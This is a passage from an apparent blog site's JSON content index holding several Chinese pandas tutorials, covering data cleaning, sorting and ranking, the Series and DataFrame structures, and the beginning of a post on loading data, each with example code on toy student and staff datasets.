对于缺失值的处理有两种常用的方式，一是用按一定的策略对空值进行填充，二是对于缺失值干脆进行删除。\n2、填充缺失值（空值） pandas中用户填充缺失值的方法是fillna()，可以按一定的策略对空值进行填充，如常数填充、向前/向后填充等，也可通过inplace参数确定是否本地更改。\n1.常量填充 1 stud_df[[\u0026#39;student_name\u0026#39;]].fillna(\u0026#39;某某\u0026#39;) 可以看到判断为缺失值的地方都填充了\u0026quot;某某\u0026quot;，因为空字符串和空列表都不是缺失值，所以没有填充。\n2.向前和向后填充NA 通过fillna(mathod=\u0026lsquo;ffill\u0026rsquo;)，mathod=\u0026lsquo;ffill\u0026rsquo; 向前填充和 mathod=\u0026lsquo;bfill\u0026rsquo; 向后填充，也就是说用前面的值来填充NA或用后面的值来填充NA 我们来增加一列性别列gender来看一下。\n1 2 3 4 stud_gender_data=pd.Series([1,0,np.nan,\u0026#39;女\u0026#39;,1,None,\u0026#39;男\u0026#39;]) stud_df[\u0026#39;gender\u0026#39;]=stud_gender_data stud_df stud_df[[\u0026#39;gender\u0026#39;]].fillna(method=\u0026#39;ffill\u0026#39;) 可以看到通过method=\u0026lsquo;ffill\u0026rsquo;，将NaN和None前面的值填充端到了NaN和None。 用fillna()进行填充会返回一个填充好的数据集的副本，并没有对原始数据进行操作，如果要修改原始数据可以通过inplace参数确定是否本地更改。 3、删除缺失值（空值） 如果想删除缺失值，那么使用 dropna() 函数与参数 axis 可以实现。在默认情况下，按照 axis=0 来按行处理，这意味着如果某一行中存在 NaN 值将会删除整行数据。如果在dropna()中传入how='all'将只会删除全为NA或NaN的行。示例如下： 二、处理重复值 重复数据也是在实际数据处理过程中碰到比较多的，处理重复数据就是在数据集中找出重复数据然后将其删除保留一个唯一不重复的数据。\n1、检测重复值 pandas通过duplicated()方法检测各行是否重复，返回一个行索引的bool结果，可通过keep参数设置保留第一行、最后一行、无保留，例如keep=first意味着在存在重复的多行时，首行被认为是合法的而可以保留。 构造一个DataFrame来看一个实例：\n1 2 3 data=pd.DataFrame({\u0026#39;key1\u0026#39;:[\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;]*3+[\u0026#39;B\u0026#39;],\u0026#39;key2\u0026#39;:[1,1,2,3,3,4,4]}) data data.duplicated() 2、删除重复值 pandas通过drop_duplicates()方法按行检测并删除重复的记录，也可通过keep参数设置保留项。由于该方法默认是按行进行检测，如果存在某个需要需要按列删除，则可以先转置再执行该方法。\n1 data.drop_duplicates() 可以看到第7行也就是index为6的重复行被删除了。 当带了keep='last'参数时，保留最后一个重复项，前面的重复项将被丢弃。可以看到保留的是索引为6的，索引为5的重复项被丢弃了。 三、处理异常值 1、判断异常值 判断异常值的标准依赖具体分析数据，如大于或小于某个基线范围的值。 我们来看一个含有正态分布的DataFrame数据集\n1 2 data=pd.DataFrame(np.random.randn(1000,4)) data.describe() 假设我们认为某列中绝对值大小超过3的是异常值，那么判断异常值就是要找出某列中大小超过3的值。\n1 data[np.abs(col)\u0026gt;3] 要选出全部含有绝对值大小超过3的行，可以在布尔型DataFrame中使用any()方法。\n1 data[(np.abs(data)\u0026gt;3).any(1)] 2、替换异常值 对于异常值，可以直接替换。 如：\n1 data[np.abs(data)\u0026gt;3]=np.sign(data)*3 这样就可以将异常值替换为绝对值不大于3的 3、删除异常值 删除异常值，可以用pandas的drop()方法，接受参数在特定轴线执行删除一条或多条记录，可通过axis参数设置是按行删除还是按列删除 如删除第3列，列索引为2的列中绝对值\u0026gt;3的行\n1 2 col=data[2] data.drop(data[np.abs(col)\u0026gt;3].index,inplace=True) 可以看到本来有1000行的，删除了3行，再用data[np.abs(col)\u0026gt;3]验证，已经找不到数据了。\n至此，本文通过实例介绍了pandas进行数据清洗包括缺失值、重复值及异常值的处理。数据清洗是数据分析前面的准备工作，数据质量的好坏将直接影响数据分析的结果。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-02-pandas%E6%95%B0%E6%8D%AE%E6%B8%85%E6%B4%97%E4%B9%8B%E5%A4%84%E7%90%86%E7%BC%BA%E5%A4%B1%E9%87%8D%E5%A4%8D%E5%BC%82%E5%B8%B8%E6%95%B0%E6%8D%AE/","summary":"\u003cp\u003e在数据分析和建模的过程中，有相当多的时间要用在数据准备上：加载、清理、转换以及重塑。这些工作会占到分析师时间的80%或更多。幸运的是pandas和内置的Python标准库提供了高效、灵活的工具可以帮助我们轻松的做这些事情。\u003c/p\u003e","title":"pandas数据清洗之处理缺失、重复、异常数据"},{"content":"对数据集进行排序和排名的是常用最基础的数据分析手段，pandas提供了方便的排序和排名的方法，通过简单的语句和参数就可以实现常用的排序和排名。\n本文以student数据集的DataFrame为例来演示和介绍pandas数据分析之排序和排名(sort和rank)。 数据集内容如下，包括学生的学号、姓名、年龄及语文、数学、英语的成绩：\n1 2 3 4 import pandas as pd import numpy as np df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\student.xlsx\u0026#39;) df 数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n一、排序 对数据集进行排序是是常用的数据分析需求之一。pandas提供了按 索引标签排序sort_index()和按值排序sort_values()两种排序方法。对于DataFrame，可以根据任意一个轴上的索引标签进行排序。默认顺序排序，也可以设置按倒序排序。\n1、按标签排序 1）按行标签索引排序 pandas默认按行标签索引顺序排序\n1 2 #按行索引排序 df.sort_index() 可以通过设置ascending=False参数进行倒序排序\n1 2 #按行索引倒序排序 df.sort_index(ascending=False) 2）按列标签索引排序 通过给 axis 轴参数传递 0 或 1，可以对列标签进行排序。默认情况下，axis=0 表示按行排序；而 axis=1 则表示按列排序。\n1 2 #按列索引排序 df.sort_index(axis=1) 同样可以设置ascending=False参数进行倒序排序\n1 2 #按列索引倒序排序 df.sort_index(axis=1,ascending=False) 2、按值排序 在实际应用中用得最多的应该是根据某一列的值进行排序。在pandas中可以通过sort_value()，在sort_value中可以设定按某个列排序，也可以通过sort_value(by=[])，通过设置by=[‘a’,\u0026lsquo;b\u0026rsquo;]列表来指定多个需要排序的列。\n1）对单个列的值排序 如在数据集中对语文成绩进行排序。\n1 2 #按语文成绩排序 df.sort_values(\u0026#39;4-语文\u0026#39;) 2）对多个列的值进行排序 通过设置by=[‘a’,\u0026lsquo;b\u0026rsquo;]列表来指定多个需要排序的列。 如对数据集中的语文和数学进行排序\n1 2 #按语文、数学排序 df.sort_values(by=[\u0026#39;4-语文\u0026#39;,\u0026#39;5-数学\u0026#39;]) 3、排序算法 sort_values() 提供了参数kind用来指定排序算法。这里有三种排序算法：\nmergesort（归并排序） heapsort（堆排序） quicksort（快速排序） 默认为 quicksort(快速排序) ，其中 mergesort归并排序是最稳定的算法。 具体用法如下：\n1 2 #按语文、数学用mergesort归并排序算法排序 df.sort_values(by=[\u0026#39;4-语文\u0026#39;,\u0026#39;5-数学\u0026#39;],kind=\u0026#39;mergesort\u0026#39;) 二、排名 排名和排序的区别在于排序一定是有顺序，而排名分先后并列。如在现实生活中相同的分数存在排名并列的情况。 在《使用python进行数据分析》一书中对rank排名的描述为：排名是指对数组从1到有效数据点总数分配名次的操作。Series和DataFrame的rank方法是实现排名的方法，默认情况下，rank是通过“为各组分配一个平均排名”的方式破坏平级关系。这段话讲得是什么鬼？其实就是在存在并列排名的时候采用一定的策略来打破这种关系。 排名中的平级关系打破方法有如下几种：\nmethod 说明 average 默认：在每个组中分配平均排名 min 对整个组使用最小排名 max 对整个组使用最大排名 first 按照值在数据中出现的次序分配排名 dense 类似于method=\u0026lsquo;min\u0026rsquo;,但组件排名总是加1，而不是一个组中的相等元素的数量 rank()函数原型：rank(axis=0, method: str = 'average', numeric_only: Union[bool, NoneType] = None, na_option: str = 'keep', ascending: bool = True, pct: bool = False) 这里method取值可以为\u0026rsquo;average\u0026rsquo;，\u0026lsquo;first\u0026rsquo;，\u0026lsquo;min\u0026rsquo;， \u0026lsquo;max\u0026rsquo;，\u0026lsquo;dense\u0026rsquo;，用来打破排名中的平级关系的。 光看这些说明还是比较难理解。下面通过实例来说明：\n1、默认average 排名 在数据集中我们只取“学号”、“姓名”、“语文”，然后取“语文”的排名，默认average\n1 2 3 4 df_rank=df[[\u0026#39;1-学号\u0026#39;,\u0026#39;2-姓名\u0026#39;,\u0026#39;4-语文\u0026#39;]].copy() #按语文成绩进行rank的默认排名 df_rank[\u0026#39;语文排名\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(ascending=False) df_rank.sort_values(by=\u0026#39;语文排名\u0026#39;) 这个排名很奇怪，97分排名第一没有问题，居然没有第二名，三个96分排名均为3，还有两个90分排名为9.5。这是什么鬼？ 原来这就是默认的“average”规则,成绩相同时，取顺序排名中所有名次之和除以该成绩的个数，如两个90分的名次为最后两名分别为9名和10名，即(9+10)/2=9.5，三个96分的名次分别为2、3、4 那么排名为（2+3+4)/3=9/3=3\n2、mothod=\u0026lsquo;min\u0026rsquo;的排名 1 2 3 #按语文成绩进行min排名 df_rank[\u0026#39;语文排名\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;min\u0026#39;,ascending=False) df_rank.sort_values(by=\u0026#39;语文排名\u0026#39;) 在这个排名中看到有3个并列为2的排名，但没有排名为3、4的，有两个排名为9的，但没有排名为10的。可以看出当method=“min”时，成绩相同的同学，取在顺序排名中最小的那个排名作为该值的排名，张三、王五、顾十三个同学都是96分排名分别为2、3、4，那么当method为min时，取2、3、4的最小的那个作为成绩为96的整体排名即第2名。因为有了三个2名，接下来就从5名开始，5、6、7、8，到了第9名又有两个同分数的取9、10的最小排名为9，所以有两个9名。\n3、mothod=\u0026lsquo;max\u0026rsquo;的排名 1 2 3 #按语文成绩进行max排名 df_rank[\u0026#39;语文排名\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;max\u0026#39;,ascending=False) df_rank.sort_values(by=\u0026#39;语文排名\u0026#39;) 与min相反，成绩相同的同学，排名相同取顺序最大的排名，张三、王五、顾十三个同学都是96分排名分别为2、3、4，那么当method为min时，取2、3、4的最小的那个作为成绩为96的整体排名即第2名。当method为max时，取最大的4作为96分的整体排名，同理90分的取10为90分的整体排名。\n4、mothod=\u0026lsquo;first\u0026rsquo;的排名 1 2 3 #按语文成绩进行first排名 df_rank[\u0026#39;语文排名\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;first\u0026#39;,ascending=False) df_rank.sort_values(by=\u0026#39;语文排名\u0026#39;) first排名很好理解了，有点先到先得的意思，成绩相同，谁的索引排前，谁的排名就靠前，比如张三、王五、顾十 这三个同学都是96分，按理应该是并列第2，但张三的索引比王五和顾十的都靠前，王五的索引比顾十靠前，所以他们的顺序分别为2、3、4，同理陈一、钱七的分数都是90分，但陈一的索引比钱七靠前所以陈一排名为9、钱七排名第10\n5、mothod=\u0026lsquo;dense\u0026rsquo;的排名 1 2 3 #按语文成绩进行dense排名 df_rank[\u0026#39;语文排名\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;dense\u0026#39;,ascending=False) df_rank.sort_values(by=\u0026#39;语文排名\u0026#39;) \u0026ldquo;dense\u0026rdquo;: 是密集的意思，也比较好理解，即相同成绩的同学排名相同，其他依次加1即可。可以看到张三、王五、顾十这三位同学都是96分，并列排名第2，后面的加1，即比他们分数稍低的赵六95分排名第3，后面依次。\n6、不同method的排名对比 最后不同method的排名对比：\n1 2 3 4 5 6 7 8 9 10 11 #按语文成绩进行rank的默认排名 df_rank[\u0026#39;语文排名-average\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(ascending=False) #按语文成绩进行min排名 df_rank[\u0026#39;语文排名-min\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;min\u0026#39;,ascending=False) #按语文成绩进行max排名 df_rank[\u0026#39;语文排名-max\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;max\u0026#39;,ascending=False) #按语文成绩进行first排名 df_rank[\u0026#39;语文排名-first\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;first\u0026#39;,ascending=False) #按语文成绩进行dense排名 df_rank[\u0026#39;语文排名-dense\u0026#39;]=df_rank[\u0026#39;4-语文\u0026#39;].rank(method=\u0026#39;dense\u0026#39;,ascending=False) df_rank.sort_values(by=\u0026#39;4-语文\u0026#39;,ascending=False) 数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-30-pandas%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B9%8B%E6%8E%92%E5%BA%8F%E5%92%8C%E6%8E%92%E5%90%8D-sort%E5%92%8Crank/","summary":"\u003cp\u003e对数据集进行排序和排名的是常用最基础的数据分析手段，pandas提供了方便的排序和排名的方法，通过简单的语句和参数就可以实现常用的排序和排名。\u003c/p\u003e","title":"pandas数据分析之排序和排名(sort和rank)"},{"content":"简介 无可非议，pandas是Python最强大的数据分析和探索工具之一，因金融数据分析工具而开发，支持类似于SQL语句的模型，可以对数据进行增删改查等操作，支持时间序列分析，也能够灵活的处理缺失的数据。它含有使数据分析工作变得更快更简单的高级数据结构和操作工具。pandas是基于NumPy构建的，让以NumPy为中心的应用变得更加简单。\n这里所说的让pandas变得更快更简单的高级数据结构就是Series和DataFrame。要熟练使用pandas，首先得要熟悉它的这两个主要的数据结构：Series和DateFrame。\n本文将针对Series和DateFrame，介绍Series和DataFrame数据对象的创建及基于数据对象的基础上对数据进行选择、增加、删除等数据操作。\n一、Series Series是一种类似于一维数组对象，它是由一组的数据值value（各种NumPy数据类型）以及一组与之相关的数据标签index（即索引）组成，其中标签与数据值之间是一一对应的关系。\n1 2 3 import pandas as pd obj = pd.Series([\u0026#39;陈一\u0026#39;,\u0026#39;周二\u0026#39;,\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;,\u0026#39;赵六\u0026#39;,\u0026#39;钱七\u0026#39;,\u0026#39;孙八\u0026#39;,\u0026#39;何九\u0026#39;,\u0026#39;顾十\u0026#39;]) obj 结果：\n1 2 3 4 5 6 7 8 9 10 11 0 陈一 1 周二 2 张三 3 李四 4 王五 5 赵六 6 钱七 7 孙八 8 何九 9 顾十 dtype: object Series的字符串表现形式为：索引在左边，值在右边。由于没有为数据指定索引，于是会自动创建一个0到N-1（N为数据的长度）的整数型索引。 可以通过Series的values和index属性获取其数组表示形式和索引对象。 可以将Series看成一个定长的有序字典，因为它是索引值到数据值的一个映射。\n1、Series对象创建 pandas 使用 Series() 函数来创建 Series 对象，通过这个对象可以调用相应的方法和属性，从而达到处理数据的目的：\n1 2 import pandas as pd obj=pd.Series( data, index, dtype, copy) 参数说明如下：\n参数名称 描述 data 输入的数据，可以是列表、常量、ndarray 数组等。 index 索引值必须是惟一的，如果没有传递索引，则默认为 np.arrange(n)。 dtype dtype表示数据类型，如果没有提供，则会自动判断得出。 copy 表示对 data 进行拷贝，默认为 False。 data可以是列表、常量、ndarray数组等，如果数据被存放在一个Python字典dict中，也可以直接通过这个dict来创建Series，如果没有传入索引时会按照字典的键来构造索引；反之，当传递了索引时需要将索引标签与字典中的值一一对应。 前面的列子是通过列表来创建的Series，接下来看下通过ndarray和dic来创建Series。\n通过ndarray创建Series 1 2 3 4 5 6 #ndarray创建Series import pandas as pd import numpy as np data=np.array([\u0026#39;陈一\u0026#39;,\u0026#39;周二\u0026#39;,\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;,\u0026#39;赵六\u0026#39;,\u0026#39;钱七\u0026#39;,\u0026#39;孙八\u0026#39;,\u0026#39;何九\u0026#39;,\u0026#39;顾十\u0026#39;]) obj= pd.Series(data) print(obj) 结果：\n1 2 3 4 5 6 7 8 9 10 11 0 陈一 1 周二 2 张三 3 李四 4 王五 5 赵六 6 钱七 7 孙八 8 何九 9 顾十 dtype: object 通过dict创建Series #通过dict创建Series,没有设置indx\n1 2 3 4 import pandas as pd data = {\u0026#39;1\u0026#39; :\u0026#39;张三\u0026#39;, \u0026#39;2\u0026#39; :\u0026#39;李四\u0026#39;, \u0026#39;3\u0026#39; : \u0026#39;王五\u0026#39;} obj=pd.Series(data) print(obj) 结果：\n1 2 3 4 1 张三 2 李四 3 王五 dtype: object 当传递的索引值无法找到与其对应的值时，使用 NaN（非数字）填充。\n1 2 3 4 5 6 #通过dict创建Series,设置indx import pandas as pd data = {\u0026#39;1\u0026#39; :\u0026#39;张三\u0026#39;, \u0026#39;2\u0026#39; :\u0026#39;李四\u0026#39;, \u0026#39;3\u0026#39; : \u0026#39;王五\u0026#39;} obj=pd.Series(data,index=[\u0026#39;1\u0026#39;,\u0026#39;2\u0026#39;,\u0026#39;4\u0026#39;]) #索引4没有在dict的对应的key，所以使用NaN（非数字）填充 print(obj) 结果：\n1 2 3 4 1 张三 2 李四 4 NaN dtype: object 2、Series操作 Series数据访问 Series提供了多种数据访问的方式，可以通过位置下标及索引来访问数据，可以访问单个数据也可以访问多个数据。\n通过位置下标及索引来访问数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import pandas as pd import numpy as np data=np.array([\u0026#39;陈一\u0026#39;,\u0026#39;周二\u0026#39;,\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;,\u0026#39;赵六\u0026#39;]) obj= pd.Series(data,index=[\u0026#39;一\u0026#39;,\u0026#39;二\u0026#39;,\u0026#39;三\u0026#39;,\u0026#39;四\u0026#39;,\u0026#39;五\u0026#39;,\u0026#39;六\u0026#39;]) print(\u0026#39;obj的Series数据\u0026#39;) print(obj) print(\u0026#39;\\n\u0026#39;) #位置下标访问 print(\u0026#39;位置下标访问:obj[0]\u0026#39;) print(obj[0]) print(\u0026#39;\\n\u0026#39;) #切片访问 print(\u0026#39;位置切片访问多个元素值:obj[1:3]\u0026#39;) print(obj[1:3]) print(\u0026#39;\\n\u0026#39;) #索引访问 print(\u0026#39;索引访问:obj[obj.index==\\\u0026#39;三\\\u0026#39;]\u0026#39;) print(obj[obj.index==\u0026#39;三\u0026#39;]) print(\u0026#39;\\n\u0026#39;) #索引访问 print(\u0026#39;索引访问:obj[\\\u0026#39;一\\\u0026#39;]\u0026#39;) print(obj[\u0026#39;一\u0026#39;]) print(\u0026#39;\\n\u0026#39;) #索引列表访问 print(\u0026#39;索引列表访问多个元素值:obj[[\\\u0026#39;二\\\u0026#39;,\\\u0026#39;三\\\u0026#39;]]\u0026#39;) print(obj[[\u0026#39;二\u0026#39;,\u0026#39;三\u0026#39;]]) print(\u0026#39;\\n\u0026#39;) 结果：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 obj的Series数据 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 dtype: object 位置下标访问:obj[0] 陈一 位置切片访问多个元素值:obj[1:3] 二 周二 三 张三 dtype: object 索引访问:obj[obj.index==\u0026#39;三\u0026#39;] 三 张三 dtype: object 索引访问:obj[\u0026#39;一\u0026#39;] 陈一 索引列表访问多个元素值:obj[[\u0026#39;二\u0026#39;,\u0026#39;三\u0026#39;]] 二 周二 三 张三 dtype: object head()\u0026amp;tail()查看数据 如果想要查看 Series 的某一部分数据，可以使用 head() 或者 tail() 方法。其中 head() 返回前 n 行数据，默认显示前 5 行数据。\n1 2 3 4 5 6 7 8 9 10 11 12 import pandas as pd import numpy as np data=np.array([\u0026#39;陈一\u0026#39;,\u0026#39;周二\u0026#39;,\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;,\u0026#39;赵六\u0026#39;]) obj= pd.Series(data,index=[\u0026#39;一\u0026#39;,\u0026#39;二\u0026#39;,\u0026#39;三\u0026#39;,\u0026#39;四\u0026#39;,\u0026#39;五\u0026#39;,\u0026#39;六\u0026#39;]) #输出前三行数据 print(\u0026#39;输出前三行数据\u0026#39;) print(obj.head(3)) print(\u0026#39;\\n\u0026#39;) #输出后两行数据 print(\u0026#39;输出后两行数据\u0026#39;) print(obj.tail(2)) print(\u0026#39;\\n\u0026#39;) 结果：\n1 2 3 4 5 6 7 8 9 10 输出前三行数据 一 陈一 二 周二 三 张三 dtype: object 输出后两行数据 五 王五 六 赵六 dtype: object Series数据增加 1.直接通过索引增加 1 2 3 4 5 6 7 8 9 10 11 12 #通过索引增加数据 obj[\u0026#39;十一\u0026#39;]=\u0026#39;肖十一\u0026#39; print(obj) 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 十一 肖十一 dtype: object 2.通过append()增加 1 2 3 4 #通过append()增加多个数据 obj2=pd.Series([\u0026#39;郭芙蓉\u0026#39;,\u0026#39;杨过\u0026#39;],index=[\u0026#39;十二\u0026#39;,\u0026#39;十三\u0026#39;]) obj=obj.append(obj2) print(obj) 结果：\n1 2 3 4 5 6 7 8 9 10 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 十一 肖十一 十二 郭芙蓉 十三 杨过 dtype: object Series数据修改 Series数据可以通过制定索引直接修改 如：修改索引为十一的数据，直接obj[\u0026lsquo;十一\u0026rsquo;]=\u0026lsquo;肖XX\u0026rsquo;，就可以进行修改。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #修改Series数据 obj[\u0026#39;十一\u0026#39;]=\u0026#39;肖XX\u0026#39; print(obj) 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 十一 肖XX 十二 郭芙蓉 十三 杨过 dtype: object Series数据删除 通过drop()删除，注意如果没有带inplace=True，会返回一个新的Series对象。如果要修改本对象，注意要带上inplace=True。\n1.删除单个数据 1 2 3 4 5 6 7 8 9 10 11 12 obj.drop(\u0026#39;十一\u0026#39;,inplace=True) print(obj) 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 十二 郭芙蓉 十三 杨过 dtype: object 2.删除多个数据 参数为索引列表，即可以删除索引为列表中的数据\n1 2 3 4 5 6 7 8 9 10 obj.drop([\u0026#39;十二\u0026#39;,\u0026#39;十三\u0026#39;],inplace=True) print(obj) 一 陈一 二 周二 三 张三 四 李四 五 王五 六 赵六 dtype: object 二、DataFrame DataFrame 是 Pandas 的重要数据结构之一，也是在使用 Pandas 进行数据分析过程中最常用的结构之一。DataFrame 一个表格型的数据结构，既有行标签（index），又有列标签（columns），它也被称异构数据表，所谓异构，指的是表格中每列的数据类型可以不同，比如可以是字符串、整型或者浮点型等。DataFrame 的每一行数据都可以看成一个 Series 结构，只不过，DataFrame 为这些行中每个数据值增加了一个列标签。因此 DataFrame 其实是从 Series 的基础上演变而来。可以把DataFrame看做是关系型数据库里或Excel里的一张表格来理解。 DataFrame 数据结构的特点： DataFrame 每一列的标签值允许使用不同的数据类型； DataFrame 是表格型的数据结构，具有行和列； DataFrame 中的每个数据值都可以被修改。 DataFrame 结构的行数、列数允许增加或者删除； DataFrame 有两个方向的标签轴，分别是行标签和列标签； DataFrame 可以对行和列执行算术运算。\n1、DataFrame对象的创建 1 2 import pandas as pd df=pd.DataFrame( data, index, columns, dtype, copy) 参数说明：\n参数名称 说明 data 输入的数据，可以是 ndarray，series，list，dict，标量以及一个 DataFrame。 index 行标签，如果没有传递 index 值，则默认行标签是 np.arange(n)，n 代表 data 的元素个数。 columns 列标签，如果没有传递 columns 值，则默认列标签是 np.arange(n)。 dtype dtype表示每一列的数据类型。 copy 默认为 False，表示复制数据 data。 Pandas 提供了多种创建 DataFrame 对象的方式可以看data的参数说明，包括列表、ndarray、series、dict等。 平时在数据分析过程中用得最多的应该是从其他数据源文件如cvs、excel、数据库、WEBAPI等方式加载数据到DataFrame中。 如：从Excel中加载数据。更多的数据加载方式见：http://xiejava.ishareread.com/posts/4864590d/\n1 2 3 import pandas as pd df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\staff.xlsx\u0026#39;) df 2、DataFrame数据操作 DataFrame 可以使用行索引(index )来选取 DataFrame 中的数据并进行操作。也可以使用列索（columns ）引来完成数据的选取、添加和删除操作。\n1) 行索引操作DataFrame 选取数据 行标签选取数据\n1 2 #选取行标签为2的行 df.loc[[2]] 注意：如果是df.loc[2]，同样是选择行标签为2的行，但现实效果为 因为df.loc[2]返回是Series对象，而df.loc[[2]]返回的是DataFrame对象\n1 2 type(df.iloc[2]) pandas.core.series.Series 1 2 type(df.loc[[2]]) pandas.core.frame.DataFrame 切片选取数据\n1 2 #切片选取数据（左闭右开） df[2:4] 增加行 添加数据行，使用 append() 函数，可以将新的数据行添加到 DataFrame 中，该函数会在行末追加数据行。\n1 2 3 df_1 = pd.DataFrame([[11,\u0026#39;肖十一\u0026#39;,\u0026#39;30\u0026#39;,\u0026#39;女\u0026#39;,\u0026#39;7000\u0026#39;,\u0026#39;1\u0026#39;],[12,\u0026#39;郭芙蓉\u0026#39;,\u0026#39;30\u0026#39;,\u0026#39;女\u0026#39;,\u0026#39;7400\u0026#39;,\u0026#39;1\u0026#39;]],index=[11,12],columns = [\u0026#39;staff_id\u0026#39;,\u0026#39;staff_name\u0026#39;,\u0026#39;staff_age\u0026#39;,\u0026#39;staff_gender\u0026#39;,\u0026#39;staff_salary\u0026#39;,\u0026#39;staff_depatment_id\u0026#39;]) df=df.append(df_1) df 注意新增加的DataFrame如果没有指定行索引，将会默认从0开始，添加数据行后将会有行重复的行索引。如没有指定index=[11,12]\n1 2 3 df_1 = pd.DataFrame([[11,\u0026#39;肖十一\u0026#39;,\u0026#39;30\u0026#39;,\u0026#39;女\u0026#39;,\u0026#39;7000\u0026#39;,\u0026#39;1\u0026#39;],[12,\u0026#39;郭芙蓉\u0026#39;,\u0026#39;30\u0026#39;,\u0026#39;女\u0026#39;,\u0026#39;7400\u0026#39;,\u0026#39;1\u0026#39;]],columns = [\u0026#39;staff_id\u0026#39;,\u0026#39;staff_name\u0026#39;,\u0026#39;staff_age\u0026#39;,\u0026#39;staff_gender\u0026#39;,\u0026#39;staff_salary\u0026#39;,\u0026#39;staff_depatment_id\u0026#39;]) df=df.append(df_1) df 删除行 可以使用行索引标签，从 DataFrame 中删除某一行数据。如果索引标签存在重复，那么它们将被一起删除\n1 2 df=df.drop(0) df 可以看到到行索引为0的两条记录被一起删除了。 2) 列索引操作DataFrame 列索引选取数据列 通过指定列索引来选取数据列，如选择只显示staff_id,staff_name,staff_gender三列\n1 2 df2=df[[\u0026#39;staff_id\u0026#39;,\u0026#39;staff_name\u0026#39;,\u0026#39;staff_gender\u0026#39;]] df2 列索引添加数据列 1 2 3 4 df3=df[\u0026#39;staff_salary\u0026#39;]+500 #在df的基础上增加append_cloume列，新增的append_cloume列为df[\u0026#39;staff_salary\u0026#39;]+500，即薪水加了500的列 df[\u0026#39;append_cloume\u0026#39;]=df3 df 列索引删除数据列 通过del 来删除指定的数据列，如删除staff_depatment_id列\n1 2 del df[\u0026#39;staff_depatment_id\u0026#39;] df 本文介绍了pandas的两大核心数据结构Series和DataFrame，分别介绍了Series和DataFrame数据对象的创建及基于数据对象的基础上对数据进行选择、增加、删除等数据操作，可以加深对Series和DataFrame的理解，并可以将创建，增、删、改、查等应用于实际的数据处理应用中。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-01-23-pandas%E4%B9%8B%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84-series%E5%92%8Cdataframe/","summary":"\u003ch1 id=\"简介\"\u003e简介\u003c/h1\u003e\n\u003cp\u003e无可非议，pandas是Python最强大的数据分析和探索工具之一，因金融数据分析工具而开发，支持类似于SQL语句的模型，可以对数据进行增删改查等操作，支持时间序列分析，也能够灵活的处理缺失的数据。它含有使数据分析工作变得更快更简单的高级数据结构和操作工具。pandas是基于NumPy构建的，让以NumPy为中心的应用变得更加简单。\u003c/p\u003e","title":"pandas数据结构(Series和DataFrame)"},{"content":" pandas 是基于NumPy 的一种工具，该工具是为解决数据分析任务而创建的。Pandas 纳入了大量库和一些标准的数据模型，提供了高效地操作大型数据集所需的工具。Pandas的名称来自于面板数据（panel data）和python数据分析（data analysis）。pandas提供了大量能使我们快速便捷地处理数据的函数和方法。它是使Python成为强大而高效的数据分析环境的重要因素之一。\n数据的输入是数据分析的第一步，如果不能将数据快速方便的导入导出python，那么pandas不可能成为强大而高效的数据分析环境，本文重点介绍pandas的数据输入加载。pandas的数据输入可以划分为几个大类：读取文本文件和其他更高效的磁盘存储格式，加载数据库中的数据，利用Web API获取网络资源。 pandas的IO工具支持非常多的数据输入输出方式。包括csv、json、Excel、数据库等。\nFormat Type Data Description Reader Writer text CSV read_csv to_csv text JSON read_json to_json text HTML read_html to_html text Local clipboard read_clipboard to_clipboard binary MS Excel read_excel to_excel binary OpenDocument read_excel binary HDF5 Format read_hdf to_hdf binary Feather Format read_feather to_feather binary Parquet Format read_parquet to_parquet binary Msgpack read_msgpack to_msgpack binary Stata read_stata to_stata binary SAS read_sas binary Python Pickle Format read_pickle to_pickle SQL SQL read_sql to_sql SQL Google Big Query read_gbq to_gbq 本文通过几个实例，介绍几种常用的数据加载方式，包括从csv文件、excel文件、关系型数据库如mysql、API接口加载json数据，来初步体验一下pandas加载数据的便捷性。\n见上表pandas 提供了多种数据源读取数据的方法： read_csv() 用于读取文本文件 read_json() 用于读取 json 文件 read_sql_query() 读取 sql 语句查询的表记录\n一、读取CSV文件 CSV 又称逗号分隔值文件，是一种简单的文件格式，以特定的结构来排列表格数据。 CSV 